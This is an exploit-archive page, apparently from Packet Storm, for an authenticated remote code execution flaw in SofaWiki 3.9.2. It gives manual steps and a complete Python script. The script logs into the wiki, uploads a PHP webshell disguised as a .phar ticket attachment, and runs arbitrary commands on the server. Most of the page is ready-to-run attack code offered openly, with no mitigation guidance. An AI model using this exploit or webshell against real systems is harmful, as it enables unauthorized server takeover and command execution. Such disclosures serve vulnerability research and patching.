exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SofaWiki 3.9.2 Shell Upload

SofaWiki 3.9.2 Shell Upload
Posted Oct 17, 2024
Authored by Chokri Hammedi

SofaWiki version 3.9.2 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | c48a64660d81765425afab3efa1b001a89e8396b5af5e3e6f44922da04352042

SofaWiki 3.9.2 Shell Upload

Change Mirror Download
# Exploit Title: SofaWiki 3.9.2 - Remote Code Execution (RCE) via Open Ticket File Upload
# Date: 10/17/2024
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.sofawiki.com
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip
# Version: 3.9.2
# Tested on: Windows XP

Summary:
A remote code execution (RCE) vulnerability exists in the Open Ticket
feature of SofaWiki 3.9.2. An attacker can upload a malicious `.phar` file
that contains PHP code, bypassing `.htaccess` restrictions, and execute
arbitrary commands on the server.

Exploit Steps:

1. Login to SofaWiki.
2. Navigate to Special → Tickets → New Ticket:
http://localhost/sofawiki/index.php?name=special:tickets&ticketaction=new
3. Select your shell.phar file with this content:

<?php system($_GET['cmd']); ?>

4. Fill in the ticket title and click Open Ticket.
5. After the ticket is created, the page shows a link to the uploaded
shell.phar
6. access the webshell:
http://localhost/sofawiki/site/files/ticket-1-shell.phar?cmd=whoami


--------------

# Exploit Title: SofaWiki 3.9.2 - RCE (authenticated) via Open Ticket File Upload Exploit
# Date: 10/17/2024
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.sofawiki.com
# Software Link: https://www.sofawiki.com/site/files/snapshot.zip
# Version: 3.9.2
# Tested on: Windows XP


import requests
import re
import sys

class SofaWikiExploit:
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()

def detect_login_name(self):
response =
self.session.get(f"{self.base_url}/index.php?action=login")
match = re.search(r'name="name" value="([^"]+)"', response.text)
if not match:
print("\033[91m\033[1m[-] couldn't find the 'name' field.
Exiting.\033[0m")
sys.exit(1)
return match.group(1)

def login(self):
print("\033[93m[*] logging in...\033[0m")
login_name = self.detect_login_name()
data = {
"submitlogin": "Login",
"username": self.username,
"pass": self.password,
"name": login_name,
"action": "login"
}
response = self.session.post(f"{self.base_url}/index.php",
data=data)
if "Logout" in response.text:
print("\033[92m\033[1m[+] Login successful!\033[0m")
return True
print("\033[91m[-] login failed.\033[0m")
return False

def upload_shell(self):
print("\033[93m[*] uploading shell...\033[0m")
shell_content = '<?php system($_GET["cmd"]); ?>'
files = {
'uploadedfile': ('shell.phar', shell_content,
'application/octet-stream'),
'title': (None, 'Chokri Hammedi Exploit'),
'text': (None, 'Chokri Hammedi RCE'),
'assigned': (None, 'admin'),
'priority': (None, '1 high'),
'submitopen': (None, 'Open Ticket'),
'MAX_FILE_SIZE': (None, '8000000')
}
response =
self.session.post(f"{self.base_url}/index.php?name=special:tickets",
files=files)
match = re.search(r'File (.*?) uploaded', response.text)
if not match:
print("\033[91m[-] shell upload failed.\033[0m")
sys.exit(1)
shell_url = f"{self.base_url}/site/files/{match.group(1)}"
print(f"\033[92m[+] shell uploaded: {shell_url}\033[0m")
return shell_url

def execute_command(self, shell_url, cmd):
print(f"\033[93m[*] running command: {cmd}\033[0m")
response = self.session.get(f"{shell_url}?cmd={cmd}")
print("\033[92m[+] command output:\033[0m")
print(f"\033[1m{response.text}\033[0m")

if __name__ == "__main__":
if len(sys.argv) != 5:
print(f"\033[91musage: {sys.argv[0]} <target_url> <username>
<password> <cmd>\033[0m")
sys.exit(1)

target_url, username, password, cmd = sys.argv[1:5]
exploit = SofaWikiExploit(target_url, username, password)

if exploit.login():
shell_url = exploit.upload_shell()
exploit.execute_command(shell_url, cmd)
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    10 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close